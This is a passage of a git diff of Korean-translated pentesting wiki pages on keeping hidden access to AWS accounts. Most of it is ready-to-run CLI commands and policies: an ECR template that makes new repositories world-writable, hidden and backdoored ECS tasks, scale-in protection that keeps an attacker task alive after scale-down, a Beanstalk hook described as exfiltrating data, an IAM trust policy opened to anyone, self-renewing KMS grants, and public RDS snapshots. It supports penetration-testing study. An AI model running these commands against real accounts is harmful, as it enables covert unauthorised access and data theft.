+ +먼저, 다음과 같은 **registry policy**로 외부 계정에 레지스트리 접근 권한을 부여해야 합니다: +```bash +aws ecr put-registry-policy --policy-text file://my-policy.json + +# With a .json like: + +{ +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +} +``` +그런 다음 복제 구성(replication config)을 적용하세요: +```bash +aws ecr put-replication-configuration \ +--replication-configuration file://replication-settings.json \ +--region us-west-2 + +# Having the .json a content such as: +{ +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] +} +``` +### Repository Creation Templates (prefix backdoor for future repos) + +ECR Repository Creation Templates를 악용하면 제어된 접두사 아래에서 ECR이 자동으로 생성하는 모든 리포지토리에 대해 자동으로 backdoor를 심을 수 있습니다(예: Pull-Through Cache 또는 Create-on-Push를 통해). 이렇게 하면 기존 리포지토리를 건드리지 않고도 향후 리포지토리에 지속적인 무단 접근 권한을 확보할 수 있습니다. + +- 필요 권한: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template). +- 영향: 대상 접두사 아래에 생성되는 모든 신규 리포지토리는 자동으로 공격자가 제어하는 repository policy(예: cross-account read/write), tag mutability, 및 scanning defaults를 상속합니다. + +
+Backdoor future PTC-created repos under a chosen prefix +```bash +# Region +REGION=us-east-1 + +# 1) Prepare permissive repository policy (example grants everyone RW) +cat > /tmp/repo_backdoor_policy.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BackdoorRW", +"Effect": "Allow", +"Principal": {"AWS": "*"}, +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer", +"ecr:InitiateLayerUpload", +"ecr:UploadLayerPart", +"ecr:CompleteLayerUpload", +"ecr:PutImage" +] +} +] +} +JSON + +# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE +aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json + +# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix +# This example caches from Amazon ECR Public namespace "nginx" +aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx + +# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx) +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com + +docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest + +# 5) Validate the backdoor policy was applied on the newly created repository +aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq . +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md deleted file mode 100644 index fdd184086..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ /dev/null @@ -1,93 +0,0 @@ -# AWS - ECS 지속성 - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### 숨겨진 주기적 ECS 작업 - -> [!NOTE] -> TODO: 테스트 - -공격자는 Amazon EventBridge를 사용하여 **악성 작업의 실행을 주기적으로 예약하는 숨겨진 주기적 ECS 작업**을 생성할 수 있습니다. 이 작업은 정찰을 수행하거나 데이터를 유출하거나 AWS 계정에서 지속성을 유지할 수 있습니다. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an Amazon EventBridge rule to trigger the task periodically -aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" - -# Add a target to the rule to run the malicious ECS task -aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ -{ -"Id": "malicious-ecs-task-target", -"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", -"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", -"EcsParameters": { -"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", -"TaskCount": 1 -} -} -]' -``` -### 기존 ECS 작업 정의의 백도어 컨테이너 - -> [!NOTE] -> TODO: 테스트 - -공격자는 합법적인 컨테이너와 함께 실행되는 기존 ECS 작업 정의에 **은밀한 백도어 컨테이너**를 추가할 수 있습니다. 백도어 컨테이너는 지속성을 위해 사용되며 악의적인 활동을 수행하는 데 사용될 수 있습니다. -```bash -# Update the existing task definition to include the backdoor container -aws ecs register-task-definition --family "existing-task" --container-definitions '[ -{ -"name": "legitimate-container", -"image": "legitimate-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -}, -{ -"name": "backdoor-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": false -} -]' -``` -### 문서화되지 않은 ECS 서비스 - -> [!NOTE] -> TODO: 테스트 - -공격자는 악성 작업을 실행하는 **문서화되지 않은 ECS 서비스**를 생성할 수 있습니다. 원하는 작업 수를 최소로 설정하고 로깅을 비활성화하면 관리자가 악성 서비스를 발견하기가 더 어려워집니다. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an undocumented ECS service with the malicious task definition -aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md new file mode 100644 index 000000000..87c0fb0f0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md @@ -0,0 +1,151 @@ +# AWS - ECS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Hidden Periodic ECS Task + +> [!NOTE] +> TODO: 테스트 + +공격자는 Amazon EventBridge를 사용해 hidden periodic ECS task를 생성하여 **malicious task의 실행을 주기적으로 스케줄할 수 있습니다**. 이 task는 reconnaissance를 수행하거나, 데이터를 exfiltrate하거나, AWS 계정에서 persistence를 유지할 수 있습니다. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an Amazon EventBridge rule to trigger the task periodically +aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" + +# Add a target to the rule to run the malicious ECS task +aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} +]' +``` +### 기존 ECS Task Definition의 Backdoor Container + +> [!NOTE] +> TODO: 테스트 + +공격자는 정상 컨테이너와 함께 실행되는 기존 ECS task definition에 **stealthy backdoor container**를 추가할 수 있습니다. 이 backdoor container는 지속성 유지 및 악의적 활동 수행에 사용될 수 있습니다. +```bash +# Update the existing task definition to include the backdoor container +aws ecs register-task-definition --family "existing-task" --container-definitions '[ +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} +]' +``` +### 문서화되지 않은 ECS 서비스 + +> [!NOTE] +> TODO: 테스트 + +공격자는 악성 작업을 실행하는 **문서화되지 않은 ECS 서비스**를 생성할 수 있습니다. 원하는 작업 수를 최소로 설정하고 로깅을 비활성화하면 관리자가 악성 서비스를 발견하기 더 어려워집니다. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an undocumented ECS service with the malicious task definition +aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" +``` +### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection) + +서비스 태스크가 scale‑in 이벤트나 롤링 배포로 중지되는 것을 방지하기 위해 ecs:UpdateTaskProtection을 악용합니다. 보호를 지속적으로 연장하면 공격자는 수비자가 desiredCount를 줄이거나 새로운 태스크 리비전을 배포하더라도 장기간 실행되는 태스크(C2 또는 데이터 수집용)를 유지할 수 있습니다. + +Steps to reproduce in us-east-1: +```bash +# 1) Cluster (create if missing) +CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null) +[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text) + +# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc) +cat > /tmp/ht-persist-td.json << 'JSON' +{ +"family": "ht-persist", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"containerDefinitions": [ +{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest", +"command": ["/bin/sh","-c","sleep 864000"]} +] +} +JSON +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null + +# 3) Create service (use default VPC public subnet + default SG) +VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text) +SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text) +SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text) +aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \ +--task-definition ht-persist --desired-count 1 --launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}" + +# 4) Get running task ARN +TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text) + +# 5) Enable scale-in protection for 24h and verify +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440 +aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK" + +# 6) Try to scale service to 0 (task should persist) +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 +aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING + +# Optional: rolling deployment blocked by protection +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment +aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]' + +# 7) Cleanup +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true +aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true +aws ecs deregister-task-definition --task-definition ht-persist || true +``` +영향: 보호된 태스크는 desiredCount=0임에도 RUNNING 상태를 유지하며, 새로운 배포 중 교체를 차단하여 ECS 서비스 내에서 은밀한 장기 지속성을 가능하게 합니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md deleted file mode 100644 index 9c5ad1161..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - EFS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### 리소스 정책 / 보안 그룹 수정 - -**리소스 정책 및/또는 보안 그룹**을 수정하여 파일 시스템에 대한 접근을 지속할 수 있습니다. - -### 액세스 포인트 생성 - -**액세스 포인트**를 **생성**하여 `/`에 대한 루트 접근이 가능하도록 하고, 파일 시스템에 대한 특권 접근을 유지하기 위해 **다른 지속성**을 구현한 서비스에서 접근할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md new file mode 100644 index 000000000..70aa4fe23 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - EFS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### Modify Resource Policy / Security Groups + +**resource policy and/or security groups**를 수정하면 파일 시스템에 대한 접근을 유지하도록 시도할 수 있습니다. + +### Create Access Point + +파일 시스템에 대한 권한 있는 접근을 유지하기 위해, 이미 다른 **other persistence**를 구현한 서비스에서 접근 가능하도록 root access to `/`를 가진 **create an access point**를 생성할 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md index 9359dc283..55755ca12 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md @@ -1,35 +1,35 @@ -# AWS - Elastic Beanstalk Persistence +# AWS - Elastic Beanstalk 지속성 -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -자세한 정보는 다음을 확인하세요: +For more information check: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### 인스턴스 내 지속성 +### 인스턴스에서의 지속성 -AWS 계정 내에서 지속성을 유지하기 위해, **인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다** (cron job, ssh key...) 그래서 공격자는 이를 통해 접근하고 IAM 역할 **자격 증명을 메타데이터 서비스에서 탈취할 수 있습니다**. +AWS 계정 내에서 지속성을 유지하기 위해, 일부 **지속성 메커니즘을 인스턴스 내에 도입할 수 있습니다** (cron job, ssh key...) — 공격자는 이를 통해 인스턴스에 접근하고 metadata service에서 IAM role **credentials를 탈취할 수 있습니다**. -### 버전 내 백도어 +### 버전 내 Backdoor -공격자는 S3 리포지토리 내의 코드를 백도어하여 항상 자신의 백도어와 예상 코드를 실행하도록 할 수 있습니다. +공격자는 S3 repo 내부의 코드에 backdoor를 심어 항상 backdoor와 원래의 코드가 함께 실행되도록 만들 수 있습니다. -### 새로운 백도어 버전 +### 새로운 backdoored 버전 -공격자는 실제 버전의 코드를 변경하는 대신, 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다. +실제 버전의 코드를 변경하는 대신, 공격자는 애플리케이션의 새로운 backdoored 버전을 배포할 수 있습니다. -### 사용자 정의 리소스 생명 주기 훅 악용 +### Custom Resource Lifecycle Hooks 악용 > [!NOTE] -> TODO: 테스트 +> TODO: Test -Elastic Beanstalk는 인스턴스 프로비저닝 및 종료 중에 사용자 정의 스크립트를 실행할 수 있는 생명 주기 훅을 제공합니다. 공격자는 **주기적으로 데이터를 유출하거나 AWS 계정에 대한 접근을 유지하는 스크립트를 실행하도록 생명 주기 훅을 구성할 수 있습니다**. +Elastic Beanstalk는 인스턴스 프로비저닝 및 종료 시에 커스텀 스크립트를 실행할 수 있는 lifecycle hooks를 제공합니다. 공격자는 lifecycle hook을 구성하여 주기적으로 스크립트를 실행하고 데이터를 exfiltrates하거나 AWS 계정에 대한 접근을 유지할 수 있습니다. ```bash -bashCopy code# Attacker creates a script that exfiltrates data and maintains access +# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv gzip /tmp/data.csv @@ -72,4 +72,4 @@ Fn::GetAtt: # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md deleted file mode 100644 index fe92c6d3e..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ /dev/null @@ -1,47 +0,0 @@ -# AWS - IAM Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -자세한 정보는 다음을 참조하세요: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### 일반적인 IAM 지속성 - -- 사용자 생성 -- 제어된 사용자를 특권 그룹에 추가 -- 액세스 키 생성 (새 사용자 또는 모든 사용자) -- 제어된 사용자/그룹에 추가 권한 부여 (첨부된 정책 또는 인라인 정책) -- MFA 비활성화 / 자신의 MFA 장치 추가 -- 역할 체인 저글링 상황 생성 (아래 STS 지속성에서 더 자세히 설명) - -### 백도어 역할 신뢰 정책 - -신뢰 정책에 백도어를 추가하여 외부 리소스를 가정할 수 있습니다 (또는 모든 사용자에게): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": ["*", "arn:aws:iam::123213123123:root"] -}, -"Action": "sts:AssumeRole" -} -] -} -``` -### 백도어 정책 버전 - -마지막 버전이 아닌 정책에 관리자 권한을 부여한 다음, 해당 버전의 정책을 제어된 사용자/그룹에 할당합니다. - -### 백도어 / 아이덴티티 제공자 생성 - -계정이 이미 일반 아이덴티티 제공자(예: Github)를 신뢰하고 있는 경우, 신뢰 조건을 증가시켜 공격자가 이를 악용할 수 있도록 할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md new file mode 100644 index 000000000..bb355d083 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - IAM Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +자세한 정보는 다음을 참조: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### 일반적인 IAM Persistence + +- 사용자 생성 +- 자신이 제어하는 사용자를 권한 있는 그룹에 추가 +- 액세스 키 생성(신규 사용자 또는 모든 사용자용) +- 자신이 제어하는 사용자/그룹에 추가 권한 부여(첨부된 정책 또는 인라인 정책) +- MFA 비활성화 / 자신의 MFA 장치 추가 +- Role Chain Juggling 상황 생성(자세한 내용은 아래 STS persistence 참조) + +### Backdoor Role Trust Policies + +자신이 제어하는 외부 리소스(또는 모든 사용자)가 이를 assume할 수 있도록 trust policy에 backdoor를 심을 수 있습니다: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] +} +``` +### Backdoor 정책 버전 + +정책의 최신 버전이 아닌 버전에 Administrator 권한을 부여한 다음(최신 버전은 합법적으로 보이도록 유지), 해당 정책 버전을 제어하는 사용자/그룹에 할당합니다. + +### Backdoor / Identity Provider 생성 + +계정이 이미 Github과 같은 일반적인 identity provider를 신뢰하고 있다면, 신뢰 조건을 강화하여 공격자가 이를 악용할 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md deleted file mode 100644 index eee862dba..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - KMS 지속성 - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### KMS 정책을 통한 접근 권한 부여 - -공격자는 **`kms:PutKeyPolicy`** 권한을 사용하여 자신의 통제 하에 있는 사용자에게 키에 대한 **접근 권한을 부여**하거나 심지어 외부 계정에 부여할 수 있습니다. 더 많은 정보는 [**KMS Privesc 페이지**](../aws-privilege-escalation/aws-kms-privesc.md)를 확인하세요. - -### 영구 권한 부여 - -권한 부여는 특정 키에 대해 주체에게 일부 권한을 부여하는 또 다른 방법입니다. 사용자가 권한을 생성할 수 있도록 허용하는 권한을 부여할 수 있습니다. 또한, 사용자는 동일한 키에 대해 여러 개의 권한(심지어 동일한 권한)을 가질 수 있습니다. - -따라서 사용자는 모든 권한을 가진 10개의 권한을 가질 수 있습니다. 공격자는 이를 지속적으로 모니터링해야 합니다. 그리고 어느 시점에서 1개의 권한이 제거되면 다른 10개의 권한이 생성되어야 합니다. - -(우리는 사용자가 여전히 일부 권한을 가지고 있는 동안 권한이 제거되었음을 감지할 수 있도록 10을 사용하고 있습니다.) -```bash -# To generate grants, generate 10 like this one -aws kms create-grant \ ---key-id \ ---grantee-principal \ ---operations "CreateGrant" "Decrypt" - -# To monitor grants -aws kms list-grants --key-id -``` -> [!NOTE] -> 권한 부여는 다음에서만 권한을 부여할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md new file mode 100644 index 000000000..bbe6d0f57 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md @@ -0,0 +1,37 @@ +# AWS - KMS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### KMS 정책을 통한 Grant 접근 + +공격자는 권한 **`kms:PutKeyPolicy`** 를 사용하여 자신의 제어 하에 있는 사용자나 심지어 외부 계정에 키에 대한 **접근 권한을 부여할 수 있습니다**. 자세한 내용은 [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md)를 확인하세요. + +### Eternal Grant + +Grants는 특정 키에 대해 principal에게 일부 권한을 부여하는 또 다른 방법입니다. 사용자가 grants를 생성할 수 있도록 허용하는 grant를 부여할 수 있습니다. 또한, 사용자는 동일한 키에 대해 여러 개의 grant(심지어 동일한 것)를 가질 수 있습니다. + +따라서 사용자가 모든 권한을 가진 grant를 10개 보유하는 것이 가능합니다. 공격자는 이를 지속적으로 모니터링해야 합니다. 만약 어떤 시점에 1개의 grant가 제거되면 다른 10개가 생성되어야 합니다. + +(우리는 사용자가 아직 몇 개의 grant를 보유하고 있는 상태에서 grant가 제거된 것을 감지할 수 있도록 2가 아니라 10개를 사용합니다) +```bash +# To generate grants, generate 10 like this one +aws kms create-grant \ +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" + +# To monitor grants +aws kms list-grants --key-id +``` +> [!NOTE] +> grant는 오직 다음에서 정의된 권한만 부여할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md deleted file mode 100644 index 6224ebd20..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - Lightsail Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### 인스턴스 SSH 키 및 DB 비밀번호 다운로드 - -비밀번호는 아마 변경되지 않을 것이므로, 이를 보유하는 것이 지속성을 위한 좋은 옵션입니다. - -### 백도어 인스턴스 - -공격자는 인스턴스에 접근하여 백도어를 설치할 수 있습니다: - -- 전통적인 **rootkit** 사용 예 -- 새로운 **공개 SSH 키** 추가 -- 백도어와 함께 포트 노킹으로 포트 노출 - -### DNS 지속성 - -도메인이 구성된 경우: - -- IP를 가리키는 서브도메인 생성하여 **서브도메인 탈취**를 수행 -- 도메인에서 **이메일**을 보낼 수 있도록 **SPF** 레코드 생성 -- **주 도메인 IP를 자신의 IP로 설정**하고, 자신의 IP에서 합법적인 IP로 **MitM** 수행 - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md new file mode 100644 index 000000000..fccf11145 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -0,0 +1,33 @@ +# AWS - Lightsail Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### 인스턴스 SSH 키 및 DB 비밀번호 다운로드 + +아마 변경되지 않으므로 이를 확보해 두는 것만으로 persistence를 유지하기에 좋습니다 + +### Backdoor Instances + +공격자가 인스턴스에 접근하여 backdoor를 설치할 수 있습니다: + +- 예를 들어 전통적인 **rootkit** 사용 +- 새로운 **public SSH key** 추가 +- port knocking을 사용해 포트를 노출하고 backdoor 설치 + +### DNS persistence + +도메인이 구성되어 있다면: + +- 자신의 IP를 가리키는 하위 도메인을 생성하면 **subdomain takeover**를 얻을 수 있습니다 +- 도메인에서 **emails**를 보낼 수 있도록 허용하는 **SPF** 레코드 생성 +- 메인 도메인의 IP를 자신의 것으로 구성하고, 자신의 IP에서 정상 서버들에 대해 **MitM**을 수행 + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md index fe230866a..c66318462 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md @@ -1,27 +1,27 @@ # AWS - RDS 지속성 -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS 자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### 인스턴스를 공개적으로 접근 가능하게 만들기: `rds:ModifyDBInstance` -이 권한을 가진 공격자는 **기존 RDS 인스턴스를 수정하여 공개 접근성을 활성화할 수 있습니다**. +이 권한을 가진 공격자는 **기존 RDS 인스턴스를 수정하여 공개적으로 접근 가능하게 만들 수 있습니다**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` -### DB 내에 관리자 사용자 생성 +### DB 내부에 admin user 생성 -공격자는 **DB 내에 사용자를 생성**할 수 있으므로 마스터 사용자 비밀번호가 수정되더라도 **데이터베이스에 대한 접근을 잃지 않습니다**. +공격자는 단순히 **create a user inside the DB** 할 수 있으므로, master users password가 변경되더라도 데이터베이스 접근을 **잃지 않을 수 있다**. -### 스냅샷 공개 설정 +### snapshot을 공개로 설정 ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include 